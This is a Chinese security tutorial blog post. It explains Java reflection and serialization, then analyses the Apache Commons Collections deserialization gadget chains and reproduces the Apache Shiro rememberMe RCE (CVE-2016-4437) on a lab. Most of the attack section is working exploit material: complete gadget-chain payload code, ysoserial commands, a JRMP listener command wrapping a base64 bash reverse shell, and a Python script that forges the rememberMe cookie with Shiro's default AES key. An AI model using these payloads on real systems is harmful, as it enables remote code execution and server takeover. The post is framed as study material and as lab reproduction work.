本文首发于“合天智汇”公众号 作者:Fortheone
看了好久的文章才开始分析调试java的cc链,这个链算是java反序列化漏洞里的基础了。分析调试的shiro也是直接使用了cc链。首先先了解一些java的反射机制。
一、什么是反射:
反射是Java的特征之一,是一种间接操作目标对象的机制,核心是JVM在运行的时候才动态加载类,并且对于任意一个类,都能够知道这个类的所有属性和方法,调用方法/访问属性,不需要提前在编译期知道运行的对象是谁,他允许运行中的Java程序获取类的信息,并且可以操作类或对象内部属性。程序中对象的类型一般都是在编译期就确定下来的,而当我们的程序在运行时,可能需要动态的加载一些类,这些类因为之前用不到,所以没有加载到jvm,这时,使用Java反射机制可以在运行期动态的创建对象并调用其属性,它是在运行时根据需要才加载。
我们可以在java加载了类进入jvm之后,获取到这个类的实例,并且可以调用这个类的方法,参数之类的。
看一个例子
  1. class User{
  2. private String name;
  3. private int age;
  4.  
  5. @Override
  6. public String toString(){
  7. return "User{" + "name=" +name + ", age="+age+"}";
  8. }
  9.  
  10. public String getName() {
  11. return name;
  12. }
  13.  
  14. public void setName(String name) {
  15. this.name = name;
  16. }
  17.  
  18. public int getAge() {
  19. return age;
  20. }
  21.  
  22. public void setAge(int age) {
  23. this.age = age;
  24. }
  25. }

现在定义了一个类User,这个类有各种的方法和参数。我们将这个类实例化之后,再动态调用它的方法来给它赋值。

  1. public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
  2. User user = new User();
  3. Class clz = user.getClass();
  4. Method method = clz.getMethod("setName", String.class);
  5. Method method1 = clz.getMethod("setAge", int.class);
  6. method1.invoke(user,);
  7. method.invoke(user,"fortheone");
  8. System.out.println(user);
  9. }
在主方法中实现这些反射调用方法,要抛出以上三个错误,否则会无法执行。 所以一个反射的流程就是:先通过getClass获取到类实例,再通过getMethod获取到类方法,然后再利用invoke方法传入参数进行调用。但是,在这个例子中所调用的方法都是public属性,而在一些类中可能会存在protected或是provide属性,需要用到setAccessible(true)这种方法来解除私有限定。
java序列化与反序列化
Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。Java 反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。 序列化与反序列化是让 Java 对象脱离 Java 运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。 要注意的是,只有实现了serializeable接口的类才可以进行序列化操作。
  1. import java.io.*;
  2.  
  3. public class test1 {
  4.  
  5. public static void main(String[] args){
  6. User user = new User("fortheone", );
  7. try {
  8. // 创建一个FIleOutputStream
  9. FileOutputStream fos = new FileOutputStream("./user.ser");
  10. // 将这个FIleOutputStream封装到ObjectOutputStream中
  11. ObjectOutputStream os = new ObjectOutputStream(fos);
  12. // 调用writeObject方法,序列化对象到文件user.ser中
  13. os.writeObject(user);
  14.  
  15. System.out.println("读取数据:");
  16. // 创建一个FIleInutputStream
  17. FileInputStream fis = new FileInputStream("./user.ser");
  18. // 将FileInputStream封装到ObjectInputStream中
  19. ObjectInputStream oi = new ObjectInputStream(fis);
  20. // 调用readObject从user.ser中反序列化出对象,还需要进行一下类型转换,默认是Object类型
  21. User user1 = (User)oi.readObject();
  22.  
  23. user1.info();
  24. } catch (FileNotFoundException e) {
  25. e.printStackTrace();
  26. } catch (IOException e) {
  27. e.printStackTrace();
  28. } catch (ClassNotFoundException e) {
  29. e.printStackTrace();
  30. }
  31. }
  32. }
  33.  
  34. class User implements Serializable{
  35. private String name;
  36. private int age;
  37.  
  38. public User(String name, int age) {
  39. this.name = name;
  40. this.age = age;
  41. }
  42.  
  43. public void info(){
  44. System.out.println("Name: "+name+", Age: "+age);
  45. }
  46.  
  47. // private void readObject(ObjectInputStream input) throws IOException, ClassNotFoundException{
  48. // System.out.println("[*]执行了自定义的readObject函数");
  49. // }
  50. }
这是一个序列化与反序列化的演示,其中的 FileOutputStream ObjectOutputStream 是java的流处理的转换。首先创建一个文件输出流,然后再使用过滤流来处理,可以提供缓冲写的作用。具体可以参见文章( https://www.cnblogs.com/shitouer/archive/2012/12/19/2823641.html)
那么在序列化与反序列化的过程中,会有一个问题,就是在反序列化的时候会自动执行类的readObject方法。如果我们在readObject中有恶意的操作,即可造成攻击。如下图:
三、Apache-CommonsCollections 序列化RCE漏洞分析
环境准备:首先安装idea,然后安装maven插件,使用maven直接安装 CommonsCollections。在pom.xml中加入
  1. <dependencies>
  2. <dependency>
  3. <groupId>commons-collections</groupId>
  4. <artifactId>commons-collections</artifactId>
  5. <version>3.1</version>
  6. </dependency>
  7. </dependencies>
即可安装。安装好以后记得要把项目jdk版本与本地jdk版本对应。参考文章( https://blog.csdn.net/qq_22076345/article/details/82392236
出现了CommonsCollections的包就说明成功了。
漏洞分析: 在InvokeTransformer类中有这两个方法
构造方法中可以传入三个参数,方法名,参数类型,参数。然后transform方法接收一个object对象。会对传入的对象进行反射调用方法。但是这样还不能执行命令,因为在java中执行命令的操作是 Runtime.getRuntime().exec(cmd)。而在这里我们一次只能传入一个方法。
但是很巧的是 ChainedTransformer 这个类中的 transform方法可以循环执行 transform方法。并且将上一次执行的结果作为下一次的参数。
这样说可能不是很清楚,举个例子来看看。
这里要求在chainedTransformer的transform方法中传入一个Runtime对象。但是这样我们没有利用到反序列化,在实际情况里也不可能给我们这样传参去调用。
从上面的步骤可以看到,整个链的起点就是 Runtime ,而我们在利用这条链的时候也没有办法通过传参去传入这个Runtime。
但是恰巧有这么一个类 ConstantTransformer 它的构造方法是直接放回传入的参数,它的transform方法也是直接返回传入的参数。那么也就是说 把Runtime.class 传入 ConstantTransformer 作为 transformers数组的起点,通过第一次transform方法,就可以得到Runtime。后面再利用循环调用transform就可以通过反射命令执行。
这样就可以通过循环调用transform方法来执行命令。现在漏洞触发的核心已经了解清楚了,接下来就是找触发漏洞的利用链。也就是如何触发chainedTransformer的transform方法呢?
接下来有两条链,一条受限于jdk版本(jdk1.7可以,8不行)
LazyMap链
在lazymap的get方法中执行了transform方法。所以只要将factory赋值为chainedTransformer。可以直接在构造方法里赋值。
所以要找到一个类可以触发LazyMap的get方法。 而在TiedMapEntry类中有一个getValue方法可以执行get方法,且map属性可控。
且TiedMapEntry类中的tostring方法可以触发getValue方法,java的tostring方法与php的__tostring方法一样,在类实例被当作字符串的时候会自动执行。
.png) 然后又找到 BadAttributeValueExpException 的readObject方法会触发tostring方法
所以只要把val属性设置为 TiedMapEntry 即可。最终payload:
  1. import org.apache.commons.collections.Transformer;
  2. import org.apache.commons.collections.functors.ChainedTransformer;
  3. import org.apache.commons.collections.functors.ConstantTransformer;
  4. import org.apache.commons.collections.functors.InvokerTransformer;
  5. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  6. import org.apache.commons.collections.map.LazyMap;
  7. import org.apache.commons.collections.map.TransformedMap;
  8.  
  9. import javax.management.BadAttributeValueExpException;
  10. import java.lang.reflect.Constructor;
  11. import java.lang.reflect.*;
  12. import java.util.HashMap;
  13. import java.util.Map;
  14. import java.io.*;
  15.  
  16. public class test {
  17. public static void main(String[] args) throws Exception{
  18. Transformer[] transformers = new Transformer[]{
  19. new ConstantTransformer(Runtime.class),
  20. new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
  21. new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
  22. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
  23. };
  24. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  25. Map innerMap = new HashMap();
  26. innerMap.put("value","asdf");
  27.  
  28. Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);
  29. // 将lazyMap封装到TiedMapEntry中
  30. TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "val");
  31. // 通过反射给badAttributeValueExpException的val属性赋值
  32. BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
  33. Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
  34. val.setAccessible(true);
  35. val.set(badAttributeValueExpException, tiedMapEntry);
  36. // 序列化
  37. ByteArrayOutputStream baos = new ByteArrayOutputStream();
  38. ObjectOutputStream oos = new ObjectOutputStream(baos);
  39. oos.writeObject(badAttributeValueExpException);
  40. oos.flush();
  41. oos.close();
  42. // 本地模拟反序列化
  43. ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
  44. ObjectInputStream ois = new ObjectInputStream(bais);
  45. Object obj = (Object) ois.readObject();
  46. }
  47.  
  48. }
TransformedMap利用链
Map类是存储键值对的数据结构。 Apache Commons Collections中实现了TransformedMap ,该类可以在一个元素被添加/删除/或是被修改时(即key或value:集合中的数据存储形式即是一个索引对应一个值,就像身份证与人的关系那样),会调用transform方法自动进行特定的修饰变换,具体的变换逻辑由Transformer类定义。也就是说,TransformedMap类中的数据发生改变时,可以自动对进行一些特殊的变换,比如在数据被修改时,把它改回来; 或者在数据改变时,进行一些我们提前设定好的操作。
其中的checkSetValue方法中,valueTransformer属性调用了transform方法。所以只要将valueTransformer属性设置为我们之前的chainedTransformer即可触发漏洞。
调用decorate方法可以实例化一个 TransformedMap 类,然后将其属性 keyTransformer和valueTransformer设置为我们想要的值。所以现在就是要再找一个触发checkSetValue方法的类。
在AnnotationInvocationHandler类中的readObject 中执行了setValue方法。而 setValue() 函数最终会触发 checkSetValue() 函数:
 
而memberValues来自于构造方法,所以最终的payload为:

  1. import java.io.File;
  2. import java.io.FileInputStream;
  3. import java.io.FileNotFoundException;
  4. import java.io.FileOutputStream;
  5. import java.io.IOException;
  6. import java.io.ObjectInputStream;
  7. import java.io.ObjectOutputStream;
  8. import java.lang.annotation.Retention;
  9. import java.lang.annotation.Target;
  10. import java.lang.reflect.Constructor;
  11. import java.util.HashMap;
  12. import java.util.Map;
  13. import java.util.Map.Entry;
  14.  
  15. import org.apache.commons.collections.Transformer;
  16. import org.apache.commons.collections.functors.ChainedTransformer;
  17. import org.apache.commons.collections.functors.ConstantTransformer;
  18. import org.apache.commons.collections.functors.InvokerTransformer;
  19. import org.apache.commons.collections.map.TransformedMap;
  20.  
  21. public class test {
  22. public static void main(String[] args) throws Exception {
  23. //1.客户端构建攻击代码
  24. //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
  25. Transformer[] transformers = new Transformer[] {
  26. new ConstantTransformer(Runtime.class),
  27. new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
  28. new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
  29. new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
  30. };
  31. //将transformers数组存入ChaniedTransformer这个继承类
  32. Transformer transformerChain = new ChainedTransformer(transformers);
  33.  
  34. //创建Map并绑定transformerChina
  35. Map innerMap = new HashMap();
  36. innerMap.put("value", "value");
  37. //给予map数据转化链
  38. Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
  39. //反射机制调用AnnotationInvocationHandler类的构造函数
  40. Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  41. Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
  42. //取消构造函数修饰符限制
  43. ctor.setAccessible(true);
  44. //获取AnnotationInvocationHandler类实例
  45. Object instance = ctor.newInstance(Retention.class, outerMap);
  46.  
  47. //payload序列化写入文件,模拟网络传输
  48. FileOutputStream f = new FileOutputStream("payload.bin");
  49. ObjectOutputStream fout = new ObjectOutputStream(f);
  50. fout.writeObject(instance);
  51.  
  52. //2.服务端读取文件,反序列化,模拟网络传输
  53. FileInputStream fi = new FileInputStream("payload.bin");
  54. ObjectInputStream fin = new ObjectInputStream(fi);
  55. //服务端反序列化
  56. fin.readObject();
  57. }
  58. }

利用Ysoserial 生成payload

下载Ysoserial 然后执行 java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 calc.exe > payload.bin 然后把payload.bin放入项目中,对其进行反序列化
漏洞环境搭建
https://vulhub.org/#/environments/shiro/CVE-2016-4437/
直接使用docker搭建vulhub里的shiro靶场就可以了。
启动后
登录抓包
可以在响应包中看到有 rememberMe=deleteMe的字段,这是shiro的特征。
漏洞验证
1、直接使用xray给出的payload测试
在xray的config.yaml中修改proxy为burp的监听端口,这样可以获取到xray发出的流量。
这里可以抓到xray发出的请求包中的payload,其中的header中还带有Testecho,用以测试回显。可以看到响应头中出现了Testecho字样。所以判断出存在漏洞。
然后再将Testecho替换为 Testcmd 即可执行命令。
但是我这台机器在执行ifconfig命令的时候不知道为什么无法执行。
2、使用ysoserial反序列化发payload
首先要下载 ysoserial的jar包 https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
然后下载 ysoserial的源码 https://github.com/frohoff/ysoserial.git
java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 7878 CommonsCollections5 "bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}"
在7878端口监听JRMP,等待服务端访问。
然后使用poc.py生成payload的cookie
i

  1. import sys
  2. import uuid
  3. import base64
  4. import subprocess
  5. from Crypto.Cipher import AES
  6.  
  7. def encode_rememberme(command):
  8. popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-30099844c6-1.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
  9. BS = AES.block_size
  10. pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
  11. key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
  12. iv = uuid.uuid4().bytes
  13. encryptor = AES.new(key, AES.MODE_CBC, iv)
  14. file_body = pad(popen.stdout.read())
  15. base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
  16. return base64_ciphertext
  17.  
  18. if __name__ == '__main__':
  19. payload = encode_rememberme(sys.argv[])
  20. print "rememberMe={0}".format(payload.decode())
python poc.py 监听服务器ip:端口
生成了payload之后,向服务器发送payload的cookie
 
成功获取到shell。
一些要注意的点
1、在生成payload的时候,使用的key一般是shiro1.2.4默认的key,在实际环境下可能会有其他的key。xray中自带了几个其他的key值用于遍历。
2、实际情况中默认shiro的commons-collections版本为3.2.1 而ysoserial里使用3.2.1的版本时会报错,但是可以使用JRMP。可以多尝试几个 commons-collections的版本。具体还要看环境中的依赖包。
参考文章
  • 实验推荐
Java反序列漏洞
本实验通过Apache Commons Collections 3为例,分析并复现JAVA反序列化漏洞。
声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!

java反序列化——apache-shiro复现分析的更多相关文章

  1. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  2. Lib之过?Java反序列化漏洞通用利用分析

    转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...

  3. 从原理学习Java反序列化

    1 序列化与反序列化 1.1 概念 序列化: 将数据结构或对象转换成二进制串的过程 反序列化:将在序列化过程中所生成的二进制串转换成数据结构或者对象的过程 1.2 使用场景 当你想把的内存中的对象状态 ...

  4. 学习笔记 | java反序列化漏洞分析

    java反序列化漏洞是与java相关的漏洞中最常见的一种,也是网络安全工作者关注的重点.在cve中搜索关键字serialized共有174条记录,其中83条与java有关:搜索deserialized ...

  5. 浅谈java反序列化工具ysoserial

    前言 关于java反序列化漏洞的原理分析,基本都是在分析使用Apache Commons Collections这个库,造成的反序列化问题.然而,在下载老外的ysoserial工具并仔细看看后,我发现 ...

  6. Apache Shiro和Spring Security的详细对比

    参考资料: 1)Apache Shiro Apache Shiro:http://shiro.apache.org/ 在Web项目中应用 Apache Shiro:http://www.ibm.com ...

  7. 通过JBoss反序列化(CVE-2017-12149)浅谈Java反序列化漏洞

    前段时间学校学习J2EE,用到了jboss,顺便看了下jboss的反序列化,再浅谈下反序列化漏洞. Java序列化,简而言之就是把java对象转化为字节序列的过程.而反序列话则是再把字节序列恢复为ja ...

  8. Apache Shiro Java反序列化漏洞分析

    1. 前言 最近工作上刚好碰到了这个漏洞,当时的漏洞环境是: shiro-core 1.2.4 commons-beanutils 1.9.1 最终利用ysoserial的CommonsBeanuti ...

  9. 25. Apache Shiro Java反序列化漏洞

    前言: 最近在审核漏洞的时候,发现尽管Apache shiro这个反序列化漏洞爆出来好久了,但是由于漏洞特征不明显,并且shiro这个组件之前很少听说,导致大厂很多服务还存在shiro反序列化的漏洞, ...

随机推荐

  1. Oracle Online Patching报错"This is not a RAC setup. OPatch cannot determine the local node name"

    Oracle Online Patching报错"This is not a RAC setup. OPatch cannot determine the local node name&q ...

  2. 缘起:BigTable

    Google的三篇论文,Google File System,MapReduce以及Big Table可以说是整个大数据领域的三驾马车,这里,我们简单介绍下这三驾马车基本都是干哈的,重点解读下Bigt ...

  3. web前端开发书籍推荐_css/css3的好书有哪些?

    css/css3样式已是web前端开发的主流技术了.每个优秀的前端程序员都应该熟悉,甚至精通css.那么要如何才能学好css,并很好的应用到实际开发中,这篇文章就推荐一些关于css相关的书籍给大家. ...

  4. JavaScript图形实例:Hilbert曲线

    德国数学家David Hilbert在1891年构造了一种曲线,首先把一个正方形等分成四个小正方形,依次从西北角的正方形中心出发往南到西南正方形中心,再往东到东南角的正方形中心,再往北到东北角正方形中 ...

  5. 数据库周刊31丨openGauss 正式开源;7月数据库排行榜发布;浙江移动国产数据库AntDB迁移;oracle ADG跨版本搭建;PG解决社保问题;mysqlbinlog解析……

    摘要:墨天轮数据库周刊第31期发布啦,每周1次推送本周数据库相关热门资讯.精选文章.干货文档. 热门资讯 1.openGauss 正式开源,华为公开发布源代码[摘要]6月1日,华为正式宣布开源数据库能 ...

  6. Python爬虫:手把手教你写迷你爬虫架构

    前言 本文的文字及图片来源于网络,仅供学习.交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理. 作者:我爱学Python 语言&环境 语言:继续用Python开路 ...

  7. MySQL后记

    MySQL后记 这篇博客的目的是记录一些容易被忽略的MySQL的知识点,以及部分pymysql模块的注意点. MySQL中的DDL与DML DDL:数据定义语言(Data Definition Lan ...

  8. Scala 基础(十六):泛型、类型约束-上界(Upper Bounds)/下界(lower bounds)、视图界定(View bounds)、上下文界定(Context bounds)、协变、逆变和不变

    1 泛型 1)如果我们要求函数的参数可以接受任意类型.可以使用泛型,这个类型可以代表任意的数据类型. 2)例如 List,在创建 List 时,可以传入整型.字符串.浮点数等等任意类型.那是因为 Li ...

  9. python 爬虫写入txt:UnicodeEncodeError: ‘gbk’ codec can’t encode character 错误的解决办法

    原链接:https://blog.csdn.net/vito21/article/details/53490435 今天爬一个网站的内容,在写入TXT文件时,某些页面总是报UnicodeEncodeE ...

  10. 数据可视化基础专题(十四):pyecharts 基础(一)简单上手

    1.引言 文档位于 https://pyecharts.org/#/zh-cn/intro 示例位于 https://gallery.pyecharts.org/#/README echarts 官网 ...